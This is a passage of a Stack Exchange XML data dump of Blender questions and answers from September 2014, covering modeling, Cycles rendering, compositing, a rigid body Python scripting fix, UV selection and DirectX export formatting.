  <row Id="16155" PostTypeId="1" AcceptedAnswerId="16158" CreationDate="2014-09-25T09:53:49.143" Score="1" ViewCount="1460" Body="&lt;p&gt;I have one .blend project where I've imported objects via .dae files.&#xA;I've set up a scene and made animations etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now there is a request to modify details of one or more object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 1:&lt;/strong&gt;&#xA;Is there a way that I can replace my existing model with a newer version where I keep the location, rotation, scale and animations?&#xA;Because now I need to delete the object, add it again and animate it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 2:&lt;/strong&gt;&#xA;For future projects, how do you set up a blender project to overcome such problems?&lt;/p&gt;&#xA;" OwnerUserId="6102" LastActivityDate="2014-09-25T20:19:40.953" Title="Update an existing (animated) model" Tags="&lt;modeling&gt;&lt;animation&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16157" PostTypeId="1" CreationDate="2014-09-25T10:12:48.853" Score="2" ViewCount="2740" Body="&lt;p&gt;I'm trying to render a glassy flac. The problem is, taht it makes black reflections on sides or corners. I don't know where these reflections come from, almost white world and in the example the flac is in white cube and still there is black left side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to get rid of these black spots?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TCpeH.png&quot; alt=&quot;example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6194" LastActivityDate="2020-04-14T13:53:08.033" Title="Black reflection on glass" Tags="&lt;cycles-render-engine&gt;" AnswerCount="3" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16158" PostTypeId="2" ParentId="16155" CreationDate="2014-09-25T11:02:52.777" Score="2" Body="&lt;p&gt;There are a lot of ways. Two simple approaches (assuming you are talking about static meshes):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch the mesh in the Properties window - Object Data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w5LMz.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/idNfv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if you have LocRotScale keyframed, switch the action in the action editor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JtXsw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-09-25T11:13:50.587" LastActivityDate="2014-09-25T11:13:50.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16159" PostTypeId="5" CreationDate="2014-09-25T12:46:05.753" Score="0" Body="" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-09-25T12:46:05.753" LastActivityDate="2014-09-25T12:46:05.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16160" PostTypeId="4" CreationDate="2014-09-25T12:46:05.753" Score="0" Body="Action triggered by user or Blender itself like a keystroke, mouse movement, frame change (as a result of animation playback). Combined with python/scripting tag: usually event handling inside a modal operator." OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-09-25T12:46:05.753" LastActivityDate="2014-09-25T12:46:05.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16162" PostTypeId="2" ParentId="16157" CreationDate="2014-09-25T14:27:10.300" Score="3" Body="&lt;p&gt;In the render properties for cycle find the &lt;strong&gt;Light Paths&lt;/strong&gt; and increase the &lt;strong&gt;Transmission&lt;/strong&gt; value till the dark spots go away.&lt;/p&gt;&#xA;" OwnerUserId="5693" LastActivityDate="2014-09-25T14:27:10.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16163" PostTypeId="2" ParentId="16152" CreationDate="2014-09-25T15:21:02.400" Score="1" Body="&lt;p&gt;I can't comment so I will ask it here: are you asking how to save the different passes to different files ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, you can add a file output node that will export your passes in the desired format.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qaPiI.jpg&quot; alt=&quot;Example of file output node&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I apply some filter on my passes, but then I output the desired one into files.&#xA;See the properties of my File Output Node. You can choose the format, codec, etc of the EXR files. You can even choose different format for different files if you prefer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you add the File Output Node, you will need to add as many input in the node as files you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="4854" LastActivityDate="2014-09-25T15:21:02.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16164" PostTypeId="1" AcceptedAnswerId="16165" CreationDate="2014-09-25T16:05:11.003" Score="7" ViewCount="367" Body="&lt;p&gt;I'm sorry if that's an obvious question (it probably is) but I'm new to blender and I couldn't find a solution to my problem so far. What I'm trying to achieve is &#xA;divide a cube into two unregular objects so that they fit (see the image). Normally I would use the CTRL+R tool, but it only works with straight lines. How can I do it, then?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fcGo2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6200" LastActivityDate="2014-09-25T17:10:07.113" Title="Free division of a cube?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16165" PostTypeId="2" ParentId="16164" CreationDate="2014-09-25T16:37:36.667" Score="7" Body="&lt;p&gt;Usually I would recommend use of the Boolean Modifier. But since &lt;strong&gt;Blender 2.72&lt;/strong&gt; there is a new mesh tool to intersect geometry in Edit Mode. Starting from the default Cube and a Plane in Object Mode, subdivide the Plane to your liking and use e.g. the Displace Modifier or Sculpt to give it some bumps.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/m2Zc3.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YEsaj.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Apply the Modifier and join the Cube and the Plane with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; and both selected. Go to Edit Mode (&lt;kbd&gt;Tab&lt;/kbd&gt;), select only one vertex of the Cube and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;, hit &lt;kbd&gt;Space&lt;/kbd&gt; and type &quot;intersect&quot;. Choose Intersect from the popup menu. Note, that you need Blender 2.72. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4zwFG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;P&lt;/kbd&gt; and select &quot;By loose parts&quot;. &lt;kbd&gt;Tab&lt;/kbd&gt; out of Edit Mode and delete (&lt;kbd&gt;X&lt;/kbd&gt;) the part of the Plane, that lies outside of the Cube. Three objects should be left. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lK5FB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two open parts from the cube, and the region of intersection. Copy the region with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J017Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select a part of the Cube and one region together (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;) and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;. Do the same thing with the other two objects. You can now &lt;kbd&gt;Tab&lt;/kbd&gt; back into Edit Mode and &quot;remove doubles&quot; (optional).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3a3NA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-09-25T17:10:07.113" LastActivityDate="2014-09-25T17:10:07.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16167" PostTypeId="1" AcceptedAnswerId="16171" CreationDate="2014-09-25T17:08:01.267" Score="3" ViewCount="691" Body="&lt;p&gt;I'm trying to run a rigid body physics simulation and record the results via a script, but I cannot get the post-simulation state of an object, even when I use &lt;code&gt;bpy.ops.object.visual_transform_apply()&lt;/code&gt;. The strange part is that if I then use the Python console in the GUI to call &lt;code&gt;bpy.ops.object.visual_transform_apply()&lt;/code&gt;, it works (it also works if I use the GUI's button to apply the visual transform: &lt;code&gt;CTRL-A, Visual Transform&lt;/code&gt;). I've tried calling &lt;code&gt;scene.update()&lt;/code&gt; everywhere, making sure the object is selected, etc., all to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a minimal case of the problem (tested on Blender 2.71):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;scene = bpy.context.screen.scene&#xA;cube = scene.objects['Cube']&#xA;bpy.ops.rigidbody.objects_add(type='ACTIVE')&#xA;print('pre-simulation: ', cube.location)&#xA;bpy.ops.ptcache.bake_all(bake=True)&#xA;scene.frame_current = scene.frame_end&#xA;bpy.ops.object.visual_transform_apply()&#xA;print('post-simulation: ', cube.location)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save the above code to a .py script and run it with: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;blender -nosplash -P &amp;lt;script-name&amp;gt;.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script adds the cube as an active rigid body physical object, bakes the physics, applies the visual transform, and then reads the object's location. The output I get is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pre-simulation:  &amp;lt;Vector (0.0000, 0.0000, 0.0000)&amp;gt;&#xA;post-simulation:  &amp;lt;Vector (0.0000, 0.0000, 0.0000)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the &quot;Post-simulation:&quot; line &lt;i&gt;should&lt;/i&gt; show a large negative Z-coordinate, instead of 0.0000, because the object has fallen under gravity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas what might be wrong? Is it a bug, or am I missing something? My only guess is that I'm not in the correct context...&lt;/p&gt;&#xA;" OwnerUserId="6201" LastActivityDate="2014-09-25T19:44:26.997" Title="visual_transform_apply doesn't affect object in Python script" Tags="&lt;python&gt;&lt;physics&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16168" PostTypeId="1" AcceptedAnswerId="16169" CreationDate="2014-09-25T17:33:46.957" Score="4" ViewCount="784" Body="&lt;p&gt;I want to subtract the current frame from a previous frame, I have a image sequence and I want blender to subtract the current frame from the frame with an offset of -4. If I am on frame 5 so blender will subtract and use frame 1.&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="2217" LastEditDate="2014-09-25T18:42:56.097" LastActivityDate="2014-09-25T18:42:56.097" Title="time offset in blender compositor?" Tags="&lt;compositor&gt;&lt;image&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16169" PostTypeId="2" ParentId="16168" CreationDate="2014-09-25T17:39:05.133" Score="4" Body="&lt;p&gt;The image node has an offset option which does exactly this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jiUjt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-25T17:39:05.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16170" PostTypeId="1" AcceptedAnswerId="16181" CreationDate="2014-09-25T17:52:49.460" Score="2" ViewCount="457" Body="&lt;p&gt;Ok so in a nutshell, I want to make a video that has 2 pictures that overlap eachother, and the overlap is animated, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5qydN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The clips are in the VSE:&lt;img src=&quot;https://i.stack.imgur.com/tumuQ.png&quot; alt=&quot;The VSE&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the blend file(with photos): &lt;a href=&quot;https://www.dropbox.com/s/xiztxtvxtzmvm5n/Unicycle.zip?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/xiztxtvxtzmvm5n/Unicycle.zip?dl=0&lt;/a&gt;&lt;br&gt;&#xA;But I want to add in a black line right where the 2 clips meet.&#xA;Help please?&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2014-09-25T22:08:48.650" Title="VSE animated mask with scenes?" Tags="&lt;video-sequence-editor&gt;&lt;transparency&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16171" PostTypeId="2" ParentId="16167" CreationDate="2014-09-25T18:04:20.020" Score="3" Body="&lt;p&gt;Just setting the current frame is not enough:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scene.frame_current = scene.frame_end # does not work as expected&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to set the frame as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;context = bpy.context # or whatever context you have&#xA;context.scene.frame_set(scene.frame_end)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="248" LastActivityDate="2014-09-25T18:04:20.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16172" PostTypeId="1" AcceptedAnswerId="16175" CreationDate="2014-09-25T18:57:04.473" Score="4" ViewCount="672" Body="&lt;p&gt;I was wondering if you could change the shadow color from the sun? I'm making this for a T-shirt that will be black so I'd like to change the shadow to grey. Thanks!&lt;img src=&quot;https://i.stack.imgur.com/v1W9o.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gNVFX.png&quot; alt=&quot;enter image description here&quot;&gt; Now it got foggy...what should I do?&lt;/p&gt;&#xA;" OwnerUserId="5768" LastEditorUserId="5768" LastEditDate="2014-09-25T20:18:04.260" LastActivityDate="2014-09-25T20:18:04.260" Title="Shadows color for text" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16174" PostTypeId="2" ParentId="16167" CreationDate="2014-09-25T19:44:26.997" Score="1" Body="&lt;p&gt;As Gaia said, you need to set the frame, but also I think you need to apply the matrix world transformation to your object (or just get its translation if you just want the position) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, after setting the current frame :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scene.frame_set(scene.frame_end)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print('post-simulation: ',cube.matrix_world.translation)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I usually use the matrix world translation to get the world position of an object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this will help :)&lt;/p&gt;&#xA;" OwnerUserId="4854" LastActivityDate="2014-09-25T19:44:26.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16175" PostTypeId="2" ParentId="16172" CreationDate="2014-09-25T19:45:54.153" Score="3" Body="&lt;p&gt;While user2859's answer is correct for changing the color of &lt;em&gt;shadows&lt;/em&gt;, the shadows in your image are actually not those kind of shadows (or at least not to BI). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To adjust the color of those shaded parts of the mesh, try tweaking the ambient world color in &lt;em&gt;Properties &gt; World&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MiSYs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-25T19:45:54.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16177" PostTypeId="2" ParentId="16155" CreationDate="2014-09-25T20:19:40.953" Score="1" Body="&lt;p&gt;You could convert the .dae file into separate .blend files and link (Menu: File/Link)  instead of append into master file. In the master file you create the animations or pose-libraries needed. If the rig doesn't change you would be able to edit the mesh and just refresh the linked files. (The first related link has a more detailed and illustrated answer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/10709/re-import-obj-and-replace-existing&quot;&gt;Re-Import obj and replace existing&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/6302/how-do-i-reload-a-linked-blender-file&quot;&gt;How do I reload a linked blender file?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2014-09-25T20:19:40.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16179" PostTypeId="2" ParentId="16147" CreationDate="2014-09-25T21:20:18.787" Score="8" Body="&lt;p&gt;So far as the method addressed in the question, I think the C-Code would have to be changed for that to work.  Maybe with Python but I'm not sure about that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This field can be manipulated using Drivers and Scripted Expressions.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to do this would be to add an Empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7yTnf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next keyframe the empty at t=0 then move the timeline to the end of the animation and the empty 1 unit to the right along the X-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rvim1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now add a driver to the Step Field of the Color Ramp by hovering over the value and pressing 'd'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the graph Editor and change the value in the expression field to be 'var' as seen in the image below.  Also, add the Empty as the Object to the default Variable field and change the Type to X Location so when the Empty moves to the right, it will change the driven value accordingly.&#xA;(I had to add a default modifier to get this to work for the Pos field which may be a bug since it now continues to work after I delete the modifier.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OYMgd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it is animated.  The reason I am moving the mouse cursor around in the Node Editor is because this updates the UI and the animated values can be seen to move.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FYEGG.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a bit of creativity, maybe you can find a way to use drivers to do what you were planning on doing with the socket input...  you didn't say what would be driving the socket so we can only guess at this part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some thoughts I'd like to add to this.  I believe, (at least according to my understanding which is very limited here) that this will be per-object since I don't know of a way to make drivers work on a per-vertex basis and especially not on a per-fragment basis which excludes a lot of the refinement which a shader-based control would offer.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be possible to duplicate an object and give it the same material but make it invisible and alter it's shape in order to affect shader input values like Geometry-&gt;Position and if I come up with anything like then I will append this method to the Answer.&lt;br&gt;&#xA;If anyone else does think of something like this, feel free to piggy-back a second answer based on what I've shown here as a starting point so that this page can become a more comprehensive piece of documentation.  I'll vote up any answers that are useful even though this has been chosen as the solution.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-09-25T23:07:09.763" LastActivityDate="2014-09-25T23:07:09.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16180" PostTypeId="2" ParentId="16152" CreationDate="2014-09-25T21:27:19.813" Score="4" Body="&lt;p&gt;From the sounds of what you are explaining, You do want to select EXR Multipass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the 'standard EXR' will only include RGBA, and an optional Z-depth, regardless of what other passes you have selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the OpenEXR Multi layer option will include each pass as a separate layer that you can then access from the image node inside blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The method Yauda had described will output a separate file for each pass. which will mean when you bring them back into blender, each layer will be have to be a separate image node.&lt;/p&gt;&#xA;" OwnerUserId="5838" LastActivityDate="2014-09-25T21:27:19.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16181" PostTypeId="2" ParentId="16170" CreationDate="2014-09-25T22:08:48.650" Score="1" Body="&lt;p&gt;There is no hard edge built in to the wipe effect. Only blur width. You could make a  black bar .PNG then use the Transform effect to rotate it at the same time. You could use this addon &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?280731-VSE-Transform-tool&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?280731-VSE-Transform-tool&lt;/a&gt; it makes interacting withe the VSE transforms much easier.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-09-25T22:08:48.650" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16182" PostTypeId="1" AcceptedAnswerId="16183" CreationDate="2014-09-25T22:14:46.517" Score="4" ViewCount="4063" Body="&lt;p&gt;Simple file with one circle and one text object.&#xA;When I try to associate the text with the circle under F button there is no circle on the list.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ln7z6.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender file:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/31793&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/31793&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any ideas.&lt;/p&gt;&#xA;" OwnerUserId="5962" LastEditorUserId="12" LastEditDate="2014-09-25T22:40:19.677" LastActivityDate="2014-09-25T22:40:19.677" Title="Align text with a curve" Tags="&lt;bezier-curves&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16183" PostTypeId="2" ParentId="16182" CreationDate="2014-09-25T22:39:45.953" Score="6" Body="&lt;p&gt;It has to be a Curve object. BezierCircle e.g. works, while a mesh circle does not. If you add a BezierCircle:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bu0zU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will show up and work as intended:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xUUZR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastActivityDate="2014-09-25T22:39:45.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16184" PostTypeId="1" AcceptedAnswerId="16185" CreationDate="2014-09-25T22:44:09.777" Score="8" ViewCount="27971" Body="&lt;p&gt;How do you select an entire UV island on a mesh by selecting a piece of the desired island?  Similar to the &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; for selecting all connecting geometry, only selecting all geometry within seams.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.E. select a vertex within an island.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UvNdC.png&quot; alt=&quot;mesh with seam marked&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And hit some hot-key to extend the selection to the marked seams.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fOpx7.png&quot; alt=&quot;mesh selected&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this feature all the time in 3ds Max, so I can unwrap a piece at a time. It would be a huge timesaver to be able to do this in Blender as well.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="2217" LastEditDate="2015-09-03T17:45:37.133" LastActivityDate="2015-09-03T17:45:37.133" Title="How to select a UV island?" Tags="&lt;mesh&gt;&lt;uv&gt;&lt;workflow&gt;&lt;selection-tools&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16185" PostTypeId="2" ParentId="16184" CreationDate="2014-09-26T00:29:11.930" Score="7" Body="&lt;p&gt;To select an entire island within seam boundaries: In edit mode activate FACE SELECT, hover the mouse over the wanted island, and press L.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not exactly what you are asking for, but hopefully helpful.&lt;/p&gt;&#xA;" OwnerUserId="1374" LastActivityDate="2014-09-26T00:29:11.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16186" PostTypeId="1" CreationDate="2014-09-26T00:51:30.093" Score="1" ViewCount="1138" Body="&lt;p&gt;I recently downloaded the newest version of Blender(v 2.71). I immediately encountered a problem when exporting my models to DirectX format(.x). The new export script tries to minimize the file size( I assume this is the reason ) and in so doing has created the need to rewrite the X file importer for my application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file now has a single reference for each position, and a single reference for each normal. For a cube the file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mesh Cube { // Cube mesh&#xA;      8;&#xA;       1.000000; 1.000000;-1.000000;,&#xA;       1.000000;-1.000000;-1.000000;,&#xA;      -1.000000;-1.000000;-1.000000;,&#xA;      -1.000000; 1.000000;-1.000000;,&#xA;       1.000000; 0.999999; 1.000000;,&#xA;       0.999999;-1.000001; 1.000000;,&#xA;      -1.000000;-1.000000; 1.000000;,&#xA;      -1.000000; 1.000000; 1.000000;;&#xA;      12;&#xA;      3;1,2,3;,&#xA;      3;7,6,5;,&#xA;      3;0,4,5;,&#xA;      3;1,5,6;,&#xA;      3;6,7,3;,&#xA;      3;0,3,7;,&#xA;      3;0,1,3;,&#xA;      3;4,7,5;,&#xA;      3;1,0,5;,&#xA;      3;2,1,6;,&#xA;      3;2,6,3;,&#xA;      3;4,0,7;;&#xA;      MeshNormals { // Cube normals&#xA;        12;&#xA;         0.000000;-0.000000;-1.000000;,&#xA;         0.000000;-0.000000; 1.000000;,&#xA;         1.000000;-0.000001;-0.000000;,&#xA;        -0.000000;-1.000000;-0.000000;,&#xA;        -1.000000; 0.000000;-0.000000;,&#xA;         0.000000; 1.000000; 0.000000;,&#xA;         0.000000; 0.000000;-1.000000;,&#xA;        -0.000000;-0.000000; 1.000000;,&#xA;         1.000000; 0.000000; 0.000000;,&#xA;        -0.000000;-1.000000; 0.000000;,&#xA;        -1.000000; 0.000000;-0.000000;,&#xA;         0.000000; 1.000000; 0.000000;;&#xA;        12;&#xA;        3;0,0,0;,&#xA;        3;1,1,1;,&#xA;        3;2,2,2;,&#xA;        3;3,3,3;,&#xA;        3;4,4,4;,&#xA;        3;5,5,5;,&#xA;        3;6,6,6;,&#xA;        3;7,7,7;,&#xA;        3;8,8,8;,&#xA;        3;9,9,9;,&#xA;        3;10,10,10;,&#xA;        3;11,11,11;;&#xA;      } // End of Cube normals&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that the positions and normals are no longer in a 1-to-1 correspondence. This means that in my application I must map the normals to the appropriate positions...not difficult. The problem is that I must execute a vertex splitting algorithm for each mesh I import. There are only 8 vertices referenced for 12 faces and each face has a different normal...Vertices cannot be shared if their normals are different. My application expects 36 vertices;&#xA;3 per face(12 faces for a cube).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a cube, the algorithm isn't too bad but for an entire scene a splitting algorithm can take quite some time. Furthermore, on occasion the entire scene may need to be reloaded upon events such as 'lost' device. This is undesirable behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is this: Should an X file be formatted in this manner? It makes the file smaller but increases the load time of each mesh. The X files in the DirectX SDK all have 1:1 correspondence between positions and normals...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can customize the script of course...I just want to know about the X file format...&lt;/p&gt;&#xA;" OwnerUserId="6206" LastEditorUserId="6206" LastEditDate="2014-09-27T14:45:35.317" LastActivityDate="2014-10-20T05:24:40.950" Title="DirectX Export Script for Blender v. 2.71" Tags="&lt;export&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-10-22T23:35:42.593" 